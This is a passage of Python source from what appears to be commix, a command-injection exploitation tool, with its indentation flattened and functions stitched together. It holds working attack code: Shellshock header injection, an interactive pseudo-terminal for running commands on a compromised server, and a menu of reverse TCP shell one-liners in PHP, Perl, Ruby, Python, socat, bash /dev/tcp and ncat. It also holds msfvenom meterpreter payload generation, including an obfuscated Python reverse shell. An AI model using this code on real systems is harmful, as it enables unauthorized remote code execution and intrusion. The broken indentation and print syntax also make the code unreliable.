else:
readline.parse_and_bind(
"tab: complete")
cmd = _input("""commix(""" +
Style.BRIGHT +
Fore.RED +
"""os_shell""" +
Style.RESET_ALL +
""") > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower(
) in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(
separator,
TAG,
cmd,
prefix,
suffix,
whitespace,
http_request_method,
url,
vuln_parameter,
alter_shell,
filename,
technique,
go_back,
no_result,
timesec,
go_back_again,
payload,
OUTPUT_TEXTFILE="")
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(
separator, maxlen, TAG,
cmd, prefix, suffix,
whitespace, timesec,
http_request_method,
url, vuln_parameter,
alter_shell, filename,
url_time_response)
# Export injection result
tb_injector.export_injection_results(
cmd, separator, output,
check_how_long)
if not menu.options.ignore_session:
session_handler.store_cmd(
url, cmd, output,
vuln_parameter)
else:
output = session_handler.export_stored_cmd(
url, cmd,
vuln_parameter)
print(
"\n"
) + settings.print_output(
output)
# Update logs with executed cmds and execution results.
logs.executed_command(
filename, cmd, output)
print(settings.SPACE)
except KeyboardInterrupt:
raise
except SystemExit:
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print(
settings.print_error_msg(
err_msg))
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(
technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
break
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print(settings.SPACE)
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()
def injection_proccess(url, check_parameter, http_request_method, filename,
timesec):
if menu.options.ignore_code:
info_msg = "Ignoring '" + str(
menu.options.ignore_code) + "' HTTP error code. "
print(settings.print_info_msg(info_msg))
# Skipping specific injection techniques.
if settings.SKIP_TECHNIQUES:
menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES)
for skip_tech_name in settings.AVAILABLE_TECHNIQUES:
if skip_tech_name in menu.options.skip_tech:
menu.options.tech = menu.options.tech.replace(
skip_tech_name, "")
if len(menu.options.tech) == 0:
err_msg = "Detection procedure was aborted due to skipping all injection techniques."
print(settings.print_critical_msg(err_msg))
raise SystemExit
# User-Agent HTTP header / Referer HTTP header /
# Host HTTP header / Custom HTTP header Injection(s)
if check_parameter.startswith(" "):
header_name = ""
the_type = " HTTP header"
else:
if settings.COOKIE_INJECTION:
header_name = " cookie"
else:
header_name = ""
the_type = " parameter"
check_parameter = " '" + check_parameter + "'"
# Estimating the response time (in seconds)
timesec, url_time_response = requests.estimate_response_time(url, timesec)
# Load modules
modules_handler.load_modules(url, http_request_method, filename)
if not settings.LOAD_SESSION:
if (len(menu.options.tech) == 0 or "e" in menu.options.tech):
# Check for identified warnings
url = heuristic_basic(url, http_request_method)
if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO:
while True:
if not menu.options.batch:
question_msg = "Skipping of further command injection tests is recommended. "
question_msg += "Do you agree? [Y/n] > "
procced_option = _input(
settings.print_question_msg(question_msg))
else:
procced_option = ""
if procced_option in settings.CHOICE_YES or len(
procced_option) == 0:
settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False
settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True
break
elif procced_option in settings.CHOICE_NO:
break
elif procced_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + procced_option + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
info_msg = "Setting the"
if not header_name == " cookie" and not the_type == " HTTP header":
info_msg += " " + str(http_request_method) + ""
info_msg += ('', ' (JSON)')[settings.IS_JSON] + (
'', ' (SOAP/XML)')[settings.IS_XML]
if header_name == " cookie":
info_msg += str(header_name) + str(the_type) + str(
check_parameter) + " for tests."
else:
info_msg += str(the_type) + str(header_name) + str(
check_parameter) + " for tests."
print(settings.print_info_msg(info_msg))
if menu.options.failed_tries and \
menu.options.tech and not "f" in menu.options.tech and not \
menu.options.failed_tries:
warn_msg = "Due to the provided (unsuitable) injection technique"
warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", "
warn_msg += "the option '--failed-tries' will be ignored."
print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL)
# Procced with file-based semiblind command injection technique,
# once the user provides the path of web server's root directory.
if menu.options.web_root and \
menu.options.tech and not "f" in menu.options.tech:
if not menu.options.web_root.endswith("/"):
menu.options.web_root = menu.options.web_root + "/"
if checks.procced_with_file_based_technique():
menu.options.tech = "f"
if settings.SKIP_COMMAND_INJECTIONS:
dynamic_code_evaluation_technique(url, timesec, filename,
http_request_method)
classic_command_injection_technique(url, timesec, filename,
http_request_method)
else:
classic_command_injection_technique(url, timesec, filename,
http_request_method)
dynamic_code_evaluation_technique(url, timesec, filename,
http_request_method)
timebased_command_injection_technique(url, timesec, filename,
http_request_method,
url_time_response)
filebased_command_injection_technique(url, timesec, filename,
http_request_method,
url_time_response)
# All injection techniques seems to be failed!
if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False:
warn_msg = "The tested"
if header_name != " cookie" and the_type != " HTTP header":
warn_msg += " " + str(http_request_method) + ""
warn_msg += str(the_type) + str(header_name) + str(check_parameter)
warn_msg += " seems to be not injectable."
print(settings.print_warning_msg(warn_msg))
def shellshock_handler(url, http_request_method, filename):
counter = 1
vp_flag = True
no_result = True
export_injection_info = False
injection_type = "results-based command injection"
technique = "shellshock injection technique"
info_msg = "Testing the " + technique + ". "
if settings.VERBOSITY_LEVEL >= 2:
info_msg = info_msg + "\n"
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
i = 0
total = len(shellshock_cves) * len(headers)
for cve in shellshock_cves:
for check_header in headers:
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
i = i + 1
attack_vector = "echo " + cve + ":Done;"
payload = shellshock_payloads(cve, attack_vector)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
sys.stdout.write("\n" + settings.print_payload(payload))
elif settings.VERBOSITY_LEVEL >= 2:
debug_msg = "Generating payload for the injection."
print(settings.print_debug_msg(debug_msg))
print(settings.print_payload(payload))
header = {check_header : payload}
request = _urllib.request.Request(url, None, header)
if check_header == "User-Agent":
menu.options.agent = payload
else:
menu.options.agent = default_user_agent
log_http_headers.do_check(request)
log_http_headers.check_http_traffic(request)
# Check if defined any HTTP Proxy.
if menu.options.proxy:
response = proxy.use_proxy(request)
# Check if defined Tor.
elif menu.options.tor:
response = tor.use_tor(request)
else:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
if str(float_percent) == "100.0":
if no_result == True:
percent = settings.FAIL_STATUS
else:
percent = settings.info_msg
no_result = False
elif len(response.info()) > 0 and cve in response.info():
percent = settings.info_msg
no_result = False
else:
percent = str(float_percent)+ "%"
if settings.VERBOSITY_LEVEL == 0:
info_msg = "Testing the " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
if no_result == False:
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
vuln_parameter = "HTTP Header"
the_type = " " + vuln_parameter
check_header = " " + check_header
vp_flag = logs.add_parameter(vp_flag, filename, the_type, check_header, http_request_method, vuln_parameter, payload)
check_header = check_header[1:]
logs.update_payload(filename, counter, payload)
if settings.VERBOSITY_LEVEL != 0:
if settings.VERBOSITY_LEVEL == 1:
print(settings.SINGLE_WHITESPACE)
checks.total_of_requests()
info_msg = "The (" + check_header + ") '"
info_msg += url + Style.RESET_ALL + Style.BRIGHT
info_msg += "' seems vulnerable via " + technique + "."
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
print(settings.print_bold_info_msg(info_msg))
sub_content = "\"" + payload + "\""
print(settings.print_sub_content(sub_content))
# Enumeration options.
if settings.ENUMERATION_DONE == True :
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
while True:
if not menu.options.batch:
question_msg = "Do you want to enumerate again? [Y/n] > "
enumerate_again = _input(settings.print_question_msg(question_msg))
else:
enumerate_again = ""
if len(enumerate_again) == 0:
enumerate_again = "Y"
if enumerate_again in settings.CHOICE_YES:
enumeration(url, cve, check_header, filename)
break
elif enumerate_again in settings.CHOICE_NO:
break
elif enumerate_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
enumeration(url, cve, check_header, filename)
# File access options.
if settings.FILE_ACCESS_DONE == True :
while True:
if not menu.options.batch:
question_msg = "Do you want to access files again? [Y/n] > "
file_access_again = _input(settings.print_question_msg(question_msg))
else:
file_access_again= ""
if len(file_access_again) == 0:
file_access_again = "Y"
if file_access_again in settings.CHOICE_YES:
file_access(url, cve, check_header, filename)
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + file_access_again + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
file_access(url, cve, check_header, filename)
if menu.options.os_cmd:
cmd = menu.options.os_cmd
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
print("\n") + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
raise SystemExit()
else:
# Pseudo-Terminal shell
print(settings.SINGLE_WHITESPACE)
go_back = False
go_back_again = False
while True:
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
gotshell = _input(settings.print_question_msg(question_msg))
else:
gotshell= ""
if len(gotshell) == 0:
gotshell= "Y"
if gotshell in settings.CHOICE_YES:
# if not menu.options.batch:
# print(settings.SINGLE_WHITESPACE)
print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
if settings.READLINE_ERROR:
checks.no_readline_module()
while True:
try:
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
sys.stdout.write(settings.OS_SHELL)
cmd = _input()
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result)
go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again)
if go_back:
break
else:
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
if shell != "":
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, shell)
print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n")
else:
debug_msg = "Executing the '" + cmd + "' command. "
if settings.VERBOSITY_LEVEL == 1:
sys.stdout.write(settings.print_debug_msg(debug_msg))
sys.stdout.flush()
sys.stdout.write("\n" + settings.print_payload(payload)+ "\n")
elif settings.VERBOSITY_LEVEL >= 2:
sys.stdout.write(settings.print_debug_msg(debug_msg))
sys.stdout.flush()
sys.stdout.write("\n" + settings.print_payload(payload)+ "\n")
err_msg = "The '" + cmd + "' command, does not return any output."
print(settings.print_critical_msg(err_msg) + "\n")
except KeyboardInterrupt:
raise
except SystemExit:
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
raise
except TypeError:
break
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
continue
break
else:
continue
if no_result:
if settings.VERBOSITY_LEVEL != 2:
print(settings.SINGLE_WHITESPACE)
err_msg = "All tested HTTP headers appear to be not injectable."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
except _urllib.error.HTTPError as err_msg:
if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
response = False
elif settings.IGNORE_ERR_MSG == False:
err = str(err_msg) + "."
print("\n" + settings.print_critical_msg(err))
continue_tests = checks.continue_tests(err_msg)
if continue_tests == True:
settings.IGNORE_ERR_MSG = True
else:
raise SystemExit()
except _urllib.error.URLError as err_msg:
err_msg = str(err_msg.reason).split(" ")[2:]
err_msg = ' '.join(err_msg)+ "."
if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
print(settings.SINGLE_WHITESPACE)
print(settings.print_critical_msg(err_msg))
raise SystemExit()
except _http_client.IncompleteRead as err_msg:
print(settings.print_critical_msg(err_msg + "."))
raise SystemExit()
def injection_output(url, OUTPUT_TEXTFILE, timesec):
def custom_web_root(url, OUTPUT_TEXTFILE):
path = _urllib.parse.urlparse(url).path
if path.endswith('/'):
# Contract again the url.
scheme = _urllib.parse.urlparse(url).scheme
netloc = _urllib.parse.urlparse(url).netloc
output = scheme + "://" + netloc + path + OUTPUT_TEXTFILE
else:
try:
path_parts = [
non_empty for non_empty in path.split('/') if non_empty
]
count = 0
for part in path_parts:
count = count + 1
count = count - 1
last_param = path_parts[count]
output = url.replace(last_param, OUTPUT_TEXTFILE)
if "?" and ".txt" in output:
try:
output = output.split("?")[0]
except:
pass
except IndexError:
output = url + "/" + OUTPUT_TEXTFILE
settings.DEFINED_WEBROOT = output
return output
if not settings.DEFINED_WEBROOT:
if menu.options.web_root:
_ = "/"
if not menu.options.web_root.endswith(_):
menu.options.web_root = menu.options.web_root + _
scheme = _urllib.parse.urlparse(url).scheme
netloc = _urllib.parse.urlparse(url).netloc
output = scheme + "://" + netloc + _ + OUTPUT_TEXTFILE
for item in settings.LINUX_DEFAULT_DOC_ROOTS:
if item == menu.options.web_root:
settings.DEFINED_WEBROOT = output
break
if not settings.DEFINED_WEBROOT:
while True:
if not menu.options.batch:
question_msg = "Do you want to use URL '" + output
question_msg += "' for command execution results extraction? [Y/n] > "
procced_option = _input(
settings.print_question_msg(question_msg))
else:
procced_option = ""
if procced_option in settings.CHOICE_YES or len(
procced_option) == 0:
settings.DEFINED_WEBROOT = output
break
elif procced_option in settings.CHOICE_NO:
output = custom_web_root(url, OUTPUT_TEXTFILE)
if not settings.DEFINED_WEBROOT:
pass
else:
break
elif procced_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + procced_option + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
output = custom_web_root(url, OUTPUT_TEXTFILE)
else:
output = settings.DEFINED_WEBROOT
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Checking URL '" + settings.DEFINED_WEBROOT + "' for command execution results extraction."
print(settings.print_debug_msg(debug_msg))
return output
def crawler(url):
if menu.options.crawldepth > 0:
menu.options.DEFAULT_CRAWLDEPTH_LEVEL = menu.options.crawldepth
if not menu.options.sitemap_url:
if menu.options.DEFAULT_CRAWLDEPTH_LEVEL > 2:
err_msg = "Depth level '" + str(
menu.options.DEFAULT_CRAWLDEPTH_LEVEL) + "' is not a valid."
print(settings.print_error_msg(err_msg))
raise SystemExit()
info_msg = "Starting crawler and searching for "
info_msg += "links with depth " + str(
menu.options.DEFAULT_CRAWLDEPTH_LEVEL) + "."
print(settings.print_info_msg(info_msg))
else:
while True:
if not menu.options.batch:
question_msg = "Do you want to change the crawling depth level? [Y/n] > "
message = _input(settings.print_question_msg(question_msg))
else:
message = ""
if len(message) == 0:
message = "Y"
if message in settings.CHOICE_YES or message in settings.CHOICE_NO:
break
elif message in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + message + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
# Change the crawling depth level.
if message in settings.CHOICE_YES:
while True:
question_msg = "Please enter the crawling depth level (1-2) > "
message = _input(settings.print_question_msg(question_msg))
if len(message) == 0:
message = 1
break
elif str(message) != "1" and str(message) != "2":
err_msg = "Depth level '" + message + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
menu.options.DEFAULT_CRAWLDEPTH_LEVEL = message
break
while True:
if not menu.options.sitemap_url:
if not menu.options.batch:
question_msg = "Do you want to check target for "
question_msg += "the existence of site's sitemap(.xml)? [y/N] > "
message = _input(settings.print_question_msg(question_msg))
else:
message = ""
if len(message) == 0:
message = "n"
if message in settings.CHOICE_YES:
sitemap_check = True
break
elif message in settings.CHOICE_NO:
sitemap_check = False
break
elif message in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + message + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
sitemap_check = True
break
if sitemap_check:
output_href = sitemap(url)
if output_href is None:
sitemap_check = False
info_msg = "Checking "
if sitemap_check:
info_msg += "identified 'sitemap.xml' "
info_msg += "for usable links (with GET parameters). "
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
if not sitemap_check:
output_href = do_process(url)
if menu.options.DEFAULT_CRAWLDEPTH_LEVEL > 1:
for url in output_href:
output_href = do_process(url)
if SKIPPED_URLS == 0:
print(settings.SPACE)
info_msg = "Visited " + str(
len(output_href)) + " link" + "s"[len(output_href) == 1:] + "."
print(settings.print_info_msg(info_msg))
filename = store_crawling()
valid_url_found = False
try:
url_num = 0
valid_urls = []
for check_url in output_href:
if re.search(r"(.*?)\?(.+)", check_url):
valid_url_found = True
url_num += 1
print(
settings.print_info_msg("URL #" + str(url_num) + " - " +
check_url) + "")
if filename is not None:
with open(filename, "a") as crawling_results:
crawling_results.write(check_url + "\n")
if not menu.options.batch:
question_msg = "Do you want to use URL #" + str(
url_num) + " to perform tests? [Y/n] > "
message = _input(settings.print_question_msg(question_msg))
else:
message = ""
if len(message) == 0:
message = "Y"
if message in settings.CHOICE_YES:
return check_url
elif message in settings.CHOICE_NO:
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Skipping '" + check_url + "'.\n"
sys.stdout.write(settings.print_debug_msg(debug_msg))
pass
elif message in settings.CHOICE_QUIT:
raise SystemExit()
raise SystemExit()
except TypeError:
pass
if not valid_url_found:
print(settings.SPACE)
raise SystemExit()
# eof
def check_target_os(server_banner):
found_os_server = False
if menu.options.os and checks.user_defined_os():
user_defined_os = settings.TARGET_OS
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Identifying the target operating system. "
sys.stdout.write(settings.print_debug_msg(debug_msg))
sys.stdout.flush()
# Procedure for target OS identification.
for i in range(0,len(settings.SERVER_OS_BANNERS)):
match = re.search(settings.SERVER_OS_BANNERS[i].lower(), server_banner.lower())
if match:
found_os_server = True
settings.TARGET_OS = match.group(0)
match = re.search(r"microsoft|win", settings.TARGET_OS)
if match:
identified_os = "Windows"
if menu.options.os and user_defined_os != "win":
if not checks.identified_os():
settings.TARGET_OS = user_defined_os
settings.TARGET_OS = identified_os[:3].lower()
if menu.options.shellshock:
err_msg = "The shellshock module is not available for "
err_msg += identified_os + " targets."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
identified_os = "Unix-like (" + settings.TARGET_OS + ")"
if menu.options.os and user_defined_os == "win":
if not checks.identified_os():
settings.TARGET_OS = user_defined_os
if settings.VERBOSITY_LEVEL != 0 :
if found_os_server:
print(settings.SPACE)
debug_msg = "The target operating system appears to be "
debug_msg += identified_os.title() + Style.RESET_ALL + "."
print(settings.print_bold_debug_msg(debug_msg))
else:
print(settings.SPACE)
warn_msg = "Heuristics have failed to identify server's operating system."
print(settings.print_warning_msg(warn_msg))
if found_os_server == False and not menu.options.os:
# If "--shellshock" option is provided then,
# by default is a Linux/Unix operating system.
if menu.options.shellshock:
pass
else:
if menu.options.batch:
if not settings.CHECK_BOTH_OS:
settings.CHECK_BOTH_OS = True
check_type = "unix-based"
elif settings.CHECK_BOTH_OS:
settings.TARGET_OS = "win"
settings.CHECK_BOTH_OS = False
settings.PERFORM_BASIC_SCANS = True
check_type = "windows-based"
info_msg = "Setting the " + check_type + " payloads."
print(settings.print_info_msg(info_msg))
else:
while True:
question_msg = "Do you recognise the server's operating system? "
question_msg += "[(W)indows/(U)nix/(q)uit] > "
got_os = _input(settings.print_question_msg(question_msg))
if got_os.lower() in settings.CHOICE_OS :
if got_os.lower() == "w":
settings.TARGET_OS = "win"
break
elif got_os.lower() == "u":
break
elif got_os.lower() == "q":
raise SystemExit()
else:
err_msg = "'" + got_os + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
def other_reverse_shells(separator):
while True:
other_shell = _input("""
---[ """ + Style.BRIGHT + Fore.BLUE + """Unix-like reverse TCP shells""" +
Style.RESET_ALL + """ ]---
Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL +
"""' to use a PHP reverse TCP shell.
Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL +
"""' to use a Perl reverse TCP shell.
Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL +
"""' to use a Ruby reverse TCP shell.
Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL +
"""' to use a Python reverse TCP shell.
Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL +
"""' to use a Socat reverse TCP shell.
Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL +
"""' to use a Bash reverse TCP shell.
Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL +
"""' to use a Ncat reverse TCP shell.
\n---[ """ + Style.BRIGHT + Fore.BLUE + """Windows reverse TCP shells""" +
Style.RESET_ALL + """ ]---
Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL +
"""' to use a PHP meterpreter reverse TCP shell.
Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL +
"""' to use a Python reverse TCP shell.
Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL +
"""' to use a Python meterpreter reverse TCP shell.
Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL +
"""' to use a Windows meterpreter reverse TCP shell.
Type '""" + Style.BRIGHT + """12""" + Style.RESET_ALL +
"""' to use the web delivery script.
\ncommix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_other""" +
Style.RESET_ALL + """) > """)
# PHP-reverse-shell
if other_shell == '1':
other_shell = "php -r '$sock=fsockopen(\"" + settings.LHOST + "\"," + settings.LPORT + ");" \
"exec(\"/bin/sh -i <%263 >%263 2>%263\");'"
break
# Perl-reverse-shell
elif other_shell == '2':
other_shell = "perl -e 'use Socket;" \
"$i=\"" + settings.LHOST + "\";" \
"$p=" + settings.LPORT + ";" \
"socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));" \
"if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">%26S\");" \
"open(STDOUT,\">%26S\");open(STDERR,\">%26S\");" \
"exec(\"/bin/sh -i\");};'"
break
# Ruby-reverse-shell
elif other_shell == '3':
other_shell = "ruby -rsocket -e '" \
"c=TCPSocket.new(\"" + settings.LHOST + "\"," + settings.LPORT + ");" \
"$stdin.reopen(c);" \
"$stdout.reopen(c);" \
"$stderr.reopen(c);" \
"$stdin.each_line{|l|l=l.strip;" \
"next if l.length==0;" \
"(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }'"
break
# Python-reverse-shell
elif other_shell == '4':
other_shell = "python -c 'import socket,subprocess,os%0d" \
"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" \
"s.connect((\"" + settings.LHOST + "\"," + settings.LPORT + "))%0d" \
"os.dup2(s.fileno(),0)%0d" \
"os.dup2(s.fileno(),1)%0d" \
"os.dup2(s.fileno(),2)%0d" \
"p=subprocess.call([\"/bin/sh\",\"-i\"])%0d'"
break
# Socat-reverse-shell
elif other_shell == '5':
other_shell = "socat tcp-connect:" + settings.LHOST + ":" + settings.LPORT + \
" exec:\"sh\",pty,stderr,setsid,sigint,sane"
break
# Bash-reverse-shell
elif other_shell == '6':
tmp_file = ''.join([
random.choice(string.ascii_letters + string.digits)
for n in xrange(5)
])
other_shell = "echo \"/bin/sh 0>/dev/tcp/"+ settings.LHOST + "/" + settings.LPORT + \
" 1>%260 2>%260\" > /tmp/" + tmp_file + " " + separator + " /bin/bash /tmp/" + tmp_file
break
# Ncat-reverse-shell
elif other_shell == '7':
other_shell = "ncat " + settings.LHOST + " " + settings.LPORT + " -e /bin/sh"
break
# PHP-reverse-shell (meterpreter)
elif other_shell == '8':
if not os.path.exists(settings.METASPLOIT_PATH):
error_msg = settings.METASPLOIT_ERROR_MSG
print(settings.print_error_msg(error_msg))
continue
payload = "php/meterpreter/reverse_tcp"
output = "php_meterpreter.rc"
info_msg = "Generating the '" + payload + "' payload. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
proc = subprocess.Popen(
"msfvenom -p " + str(payload) + " LHOST=" +
str(settings.LHOST) + " LPORT=" + str(settings.LPORT) +
" -e php/base64 -o " + output + ">/dev/null 2>&1",
shell=True).wait()
with open(output, "r+") as content_file:
data = content_file.readlines()
data = ''.join(data).replace("\n", " ")
print(settings.SINGLE_WHITESPACE)
# Remove the ouput file.
os.remove(output)
with open(output, 'w+') as filewrite:
filewrite.write("use exploit/multi/handler\n"
"set payload " + payload + "\n"
"set lhost " + str(settings.LHOST) + "\n"
"set lport " + str(settings.LPORT) + "\n"
"exploit\n\n")
if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR:
set_php_working_dir()
other_shell = settings.WIN_PHP_DIR + " -r " + data
else:
other_shell = "php -r \"" + data + "\""
msf_launch_msg(output)
except:
print(settings.SINGLE_WHITESPACE)
break
# Python-reverse-shell
elif other_shell == '9':
data = " -c \"(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('" + settings.LHOST + "', " + settings.LPORT + ")), " \
"[[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), " \
" __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), " \
" {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: " \
" __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: " \
" after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, " \
" __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] " \
"for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] " \
"for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] " \
"for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], " \
" stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] " \
"in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in " \
"[(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] " \
"if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] " \
"for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: " \
"[(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) " \
"for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) " \
"for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] " \
"for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] " \
"for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), " \
"globals(), __import__('contextlib'))\""
if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PYTHON_DIR:
set_python_working_dir()
other_shell = settings.WIN_PYTHON_DIR + data
else:
other_shell = "python" + data
break
# Python-reverse-shell (meterpreter)
elif other_shell == '10':
if not os.path.exists(settings.METASPLOIT_PATH):
error_msg = settings.METASPLOIT_ERROR_MSG
print(settings.print_error_msg(error_msg))
continue
payload = "python/meterpreter/reverse_tcp"
output = "py_meterpreter.rc"
info_msg = "Generating the '" + payload + "' payload. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
proc = subprocess.Popen("msfvenom -p " + str(payload) +
" LHOST=" + str(settings.LHOST) +
" LPORT=" + str(settings.LPORT) +
" -o " + output + ">/dev/null 2>&1",
shell=True).wait()
with open(output, "r") as content_file:
data = content_file.readlines()
data = ''.join(data)
data = base64.b64encode(data)
print(settings.SINGLE_WHITESPACE)
# Remove the ouput file.
os.remove(output)
with open(output, 'w+') as filewrite:
filewrite.write("use exploit/multi/handler\n"
"set payload " + payload + "\n"
"set lhost " + str(settings.LHOST) + "\n"
"set lport " + str(settings.LPORT) + "\n"
"exploit\n\n")
if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PYTHON_DIR:
set_python_working_dir()
other_shell = settings.WIN_PYTHON_DIR + " -c exec('" + data + "'.decode('base64'))"
else:
other_shell = "python -c \"exec('" + data + "'.decode('base64'))\""
msf_launch_msg(output)
except:
